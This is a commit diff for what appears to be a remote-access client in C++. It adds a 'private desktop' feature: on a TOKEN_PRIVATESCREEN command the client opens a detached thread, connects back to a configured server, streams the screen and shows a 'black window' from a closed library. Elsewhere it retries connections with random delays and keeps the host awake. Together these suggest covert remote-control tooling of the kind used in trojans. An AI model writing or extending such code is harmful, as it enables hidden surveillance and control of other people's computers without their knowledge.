Feature: Add private remote desktop source code
This commit is contained in:
@@ -430,6 +430,7 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
Mprintf("StartClient begin\n");
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
if (!app.m_bShared)
|
||||
@@ -476,6 +477,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
|
||||
{
|
||||
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
|
||||
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
continue;
|
||||
|
||||
@@ -46,6 +46,36 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||
#endif
|
||||
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac);
|
||||
#else
|
||||
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac) {
|
||||
return ClientObject->RunEventLoop(TRUE);
|
||||
}
|
||||
#endif
|
||||
|
||||
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac) {
|
||||
IOCPClient* ClientObject = new IOCPClient(exit, true, conn->iHeaderEnc);
|
||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort()))
|
||||
{
|
||||
CScreenManager m(ClientObject, 32, (void*)1);
|
||||
if (IsWindows8orHigher()) {
|
||||
ShowBlackWindow(ClientObject, conn, hash, hmac);
|
||||
}
|
||||
else {
|
||||
ClientObject->RunEventLoop(TRUE);
|
||||
}
|
||||
}
|
||||
delete ClientObject;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CScreenManager, 0>(lParam);
|
||||
|
||||
@@ -19,6 +19,7 @@ typedef struct UserParam
|
||||
}UserParam;
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam);
|
||||
DWORD private_desktop(CONNECT_ADDRESS* conn, const State& exit, const std::string& hash, const std::string& hmac);
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||
|
||||
9
client/IOCPBase.h
Normal file
9
client/IOCPBase.h
Normal file
@@ -0,0 +1,9 @@
|
||||
#include "common/commands.h"
|
||||
|
||||
class IOCPBase {
|
||||
public:
|
||||
virtual BOOL IsRunning() const = 0;
|
||||
virtual VOID RunEventLoop(const BOOL& bCondition) = 0;
|
||||
};
|
||||
|
||||
typedef BOOL(*TrailCheck)(void);
|
||||
@@ -19,6 +19,7 @@
|
||||
#define NO_AES
|
||||
#include "common/encrypt.h"
|
||||
#include "SafeThread.h"
|
||||
#include "IOCPBase.h"
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*32
|
||||
@@ -108,7 +109,7 @@ public:
|
||||
|
||||
typedef BOOL(*TrailCheck)(void);
|
||||
|
||||
class IOCPClient
|
||||
class IOCPClient : public IOCPBase
|
||||
{
|
||||
public:
|
||||
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0,
|
||||
|
||||
@@ -479,6 +479,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case TOKEN_PRIVATESCREEN: {
|
||||
char h[100] = {};
|
||||
memcpy(h, szBuffer + 1, ulLength - 1);
|
||||
std::string hash = std::string(h, h + 64);
|
||||
std::string hmac = std::string(h + 64, h + 80);
|
||||
std::thread t(private_desktop, m_conn, g_bExit, hash, hmac);
|
||||
t.detach();
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_PROXY: {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
|
||||
Reference in New Issue
Block a user